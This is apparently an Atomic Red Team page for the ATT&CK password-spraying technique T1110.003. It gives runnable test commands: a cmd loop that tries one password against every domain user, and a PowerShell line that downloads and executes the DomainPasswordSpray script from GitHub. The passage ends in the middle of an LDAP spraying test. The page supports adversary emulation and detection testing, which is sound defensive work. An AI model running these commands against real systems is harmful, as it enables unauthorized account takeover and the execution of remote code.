# T1110.003 - Brute Force: Password Spraying

## Description from ATT&CK

> Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)
> 
> Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:
> 
> * SSH (22/TCP)
> * Telnet (23/TCP)
> * FTP (21/TCP)
> * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
> * LDAP (389/TCP)
> * Kerberos (88/TCP)
> * RDP / Terminal Services (3389/TCP)
> * HTTP/HTTP Management Services (80/TCP & 443/TCP)
> * MSSQL (1433/TCP)
> * Oracle (1521/TCP)
> * MySQL (3306/TCP)
> * VNC (5900/TCP)
> 
> In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)
> 
> In order to avoid detection thresholds, adversaries may deliberately throttle password spraying attempts to avoid triggering security alerting. Additionally, adversaries may leverage LDAP and Kerberos authentication attempts, which are less likely to trigger high-visibility events such as Windows "logon failure" event ID 4625 that is commonly triggered by failed SMB connection attempts.(Citation: Microsoft Storm-0940)

[Source](https://attack.mitre.org/techniques/T1110/003)

## Atomic Tests

- [Atomic Test #1: Password Spray all Domain Users](#atomic-test-1-password-spray-all-domain-users)
- [Atomic Test #2: Password Spray (DomainPasswordSpray)](#atomic-test-2-password-spray-domainpasswordspray)
- [Atomic Test #3: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)](#atomic-test-3-password-spray-all-active-directory-domain-users-with-a-single-password-via-ldap-against-domain-controller-ntlm-or-kerberos)
- [Atomic Test #4: Password spray all Azure AD users with a single password](#atomic-test-4-password-spray-all-azure-ad-users-with-a-single-password)
- [Atomic Test #5: WinPwn - DomainPasswordSpray Attacks](#atomic-test-5-winpwn---domainpasswordspray-attacks)
- [Atomic Test #6: Password Spray Invoke-DomainPasswordSpray Light](#atomic-test-6-password-spray-invoke-domainpasswordspray-light)
- [Atomic Test #7: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)](#atomic-test-7-password-spray-microsoft-online-accounts-with-msolspray-azureo365)
- [Atomic Test #8: Password Spray using Kerbrute Tool](#atomic-test-8-password-spray-using-kerbrute-tool)
- [Atomic Test #9: AWS - Password Spray an AWS using GoAWSConsoleSpray](#atomic-test-9-aws---password-spray-an-aws-using-goawsconsolespray)

### Atomic Test #1: Password Spray all Domain Users

CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5

**Supported Platforms:** Windows

**auto_generated_guid:** `90bc2e54-6c84-47a5-9439-0a2a92b4b175`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | The password to try for each user in users.txt | string | Spring2020|

#### Attack Commands: Run with `command_prompt`!

```cmd
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
```


#### Dependencies: Run with `command_prompt`!

##### Description: List of domain users to password spray must exits at %temp%\users.txt

###### Check Prereq Commands

```cmd
if not exist %temp%\users.txt (exit /b 1)
```

###### Get Prereq Commands

```cmd
"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat"
```

### Atomic Test #2: Password Spray (DomainPasswordSpray)

Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray

**Supported Platforms:** Windows

**auto_generated_guid:** `263ae743-515f-4786-ac7d-41ef3a0d4b2b`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| domain | Domain to brute force against | string | $Env:USERDOMAIN|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
```

### Atomic Test #3: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)

Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)

**Supported Platforms:** Windows

**auto_generated_guid:** `f14d956a-5b6e-4a93-847f-0c415142f07d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| password | single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001) | string | P@ssw0rd!|
| domain | Domain FQDN | string | $env:UserDnsDomain|
| auth | authentication method to choose between "NTLM" and "Kerberos" | string | NTLM|

#### Attack Commands: Run with `powershell`!

```powershell
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
  Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
  exit 1
}

$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMA